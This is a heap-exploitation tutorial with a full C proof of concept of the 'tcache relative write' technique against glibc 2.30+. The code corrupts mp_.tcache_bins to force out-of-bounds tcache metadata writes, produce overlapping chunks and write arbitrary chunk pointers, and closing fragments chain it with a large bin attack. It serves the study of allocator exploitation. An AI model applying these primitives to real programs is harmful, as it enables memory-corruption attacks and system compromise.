Tcache Relative Write is a powerful technique that exploits insufficient bounds checking on tcache bin indices to achieve out-of-bounds writes in the tcache_perthread_struct metadata. By writing a large value to mp_.tcache_bins, attackers can control where tcache metadata (counts and pointers) are written, enabling arbitrary decimal writes and chunk pointer writes on the heap.
Glibc Compatibility: Works on glibc 2.30+ where the tcache index vulnerability exists.
#include <stdio.h>#include <stdlib.h>#include <assert.h>#include <malloc.h>int main(void){ /* * This document demonstrates TCache relative write technique * Reference: https://d4r30.github.io/heap-exploit/2025/11/25/tcache-relative-write.html * * Objectives: * - To write a semi-arbitrary (or possibly fully arbitrary) value into an arbitrary location on heap * - To write the pointer of an attacker-controlled chunk into an arbitrary location on heap. * * Cause: UAF/Overflow * Applicable versions: GLIBC >=2.30 * * Prerequisites: * - The ability to write a large value (>64) on an arbitrary location * - Libc leak * - Ability to malloc/free with sizes higher than TCache maximum chunk size (0x408) * * Summary: * The core concept of "TCache relative writing" is around the fact that when the allocator is recording * a tcache chunk in `tcache_perthread_struct` (tcache metadata), it does not enforce enough check and * restraint on the computed tcachebin indice (`tc_idx`), thus WHERE the tcachebin count and head * pointer will be written are not restricted by the allocator by any means. * * PoC written by D4R30 (Mahdyar Bahrami) */ setbuf(stdout, NULL); printf("This file demonstrates TCache relative write, a technique used to achieve arbitrary decimal writing and chunk pointer arbitrary write on heap.\n"); printf("The technique takes advantage of the fact that the allocator does not enforce appropriate restraints on the computed tcache indices (tc_idx)\n"); printf("As a prerequisite, we should be capable of writing a large value (anything larger than 64) on an arbitrary location, which in our case is mp_.tcache_bins\n\n"); unsigned long *p1 = malloc(0x410); // The chunk that we can overflow or have a UAF on unsigned long *p2 = malloc(0x100); // The target chunk used to demonstrate chunk overlap size_t p2_orig_size = p2[-1]; free(p1); // In this PoC, we use p1 simply for a libc leak /* VULNERABILITY */ printf("First of all, you need to write a large value on mp_.tcache_bins, to bypass the tcache indice check.\n"); printf("This can be done by techniques that have unsortedbin attack's similar impact, like largebin attack, fastbin_reverse_into_tcache and house_of_mind_fastbins\n"); // --- Step 1: Write a huge value into mp_.tcache_bins --- unsigned long *mp_tcache_bins = (void*)p1[0] - 0x910; // Relative computation of &mp_.tcache_bins printf("&mp_.tcache_bins: %p\n", mp_tcache_bins); *mp_tcache_bins = 0x7fffffffffff; // Write a large value into mp_.tcache_bins printf("mp_.tcache_bins is now set to a large value. This enables us to pass the only check on tc_idx\n\n"); printf("If you're also capable of setting mp_.tcache_count to a large value, you can possibly achieve a *fully* arbitrary write.\n"); /* END VULNERABILITY */ // --- Step 2: Compute the correct chunk size to malloc and then free --- /* * tc_index = (nb - 0x20 + 0x10 -1) / 0x10 = (nb - 0x11) / 0x10 * Because tc_index is an integer: tc_index = (nb-16)/16 - 1 * * unsigned long *ptr_write_loc = (void*)(&tcache->entries) + 8*tc_index = (void*)(&tcache->entries) + (nb-16)/2 - 8 * unsigned long *counter_write_loc = (void*)(&tcache->counts) + 2*tc_index = (void*)(&tcache->counts) + (nb-16)/8 - 2 * * For a chunk pointer arbitrary write: nb = 2*(delta+8)+16 * For a counter arbitrary write: nb = 8*(delta+2)+16 */ // --- Step 3: Combine with other techniques to create impactful attack chains --- // --------------------------------- // | Ex: Trigger chunk overlapping | // --------------------------------- printf("--- Chunk overlapping attack ---\n"); printf("Now, our goal is to make a large overlapping chunk. We already allocated two chunks: p1(%p) and p2(%p)\n", p1, p2); printf("The goal is to corrupt p2->size to make it an overlapping chunk. The original usable size of p2 is: 0x%lx\n", p2_orig_size); printf("To trigger tcache relative write in a way that p2->size is corrupted, we need to compute the exact chunk size(nb) to malloc and free\n"); printf("We use this formula: nb = 8*(delta+2)+16\n"); void *tcache_counts = (void*)p1 - 0x290; // Get tcache->counts unsigned long delta = ((void*)p2 - 6) - tcache_counts; // Based on the formula above: nb = 8*(delta+2)+16 unsigned long nb = 8*(delta+2)+16; unsigned long *p = malloc(nb-0x10); // Trigger TCache relative write free(p); assert(p2[-1] > p2_orig_size); printf("p2->size after tcache relative write is: 0x%lx\n\n", p2[-1]); free(p2); p = malloc(0x10100); assert(p == p2); // ------------------------------------- // | Ex: Chunk pointer arbitrary write | // ------------------------------------- printf("--- Chunk pointer arbitrary write ---\n"); printf("To demonstrate the chunk pointer arbitrary write capability, our goal is to write a freeing chunk pointer at p2->fd\n"); printf("We use the formula nb = 2*(delta+8)+16"); void *tcache_entries = (void*)p1 - 0x210; // Compute &tcache->entries delta = (void*)p1 - tcache_entries; // Based on the formulas: nb = 2*(delta+8)+16 nb = 2*(delta+8)+16; printf("We should request and free a chunk of size 0x%lx\n", nb-0x10); p = malloc(nb-0x10); printf("Freeing p (%p) to trigger relative write.\n", p); free(p); assert(p1[0] == (unsigned long)p); printf("p1->fd is now set to p, the chunk that we just freed.\n");}
If you can also corrupt mp_.tcache_count to a large value, you can write arbitrary decimals by freeing the same chunk multiple times:
*mp_tcache_count = 0x7fffffff; // Allow many tcache entries// Free same chunk multiple times to increment counterfor(int i = 0; i < desired_value; i++) { // Reset chunk for reuse free(trigger_chunk);}
// 1. Set up large bin attacksetup_large_bin_attack(&mp_tcache_bins);// 2. Trigger write of large valuetrigger_large_bin_attack();// 3. Now use tcache relative writeapply_tcache_relative_write();
Large Bin Attack
Learn how to write large values to arbitrary locations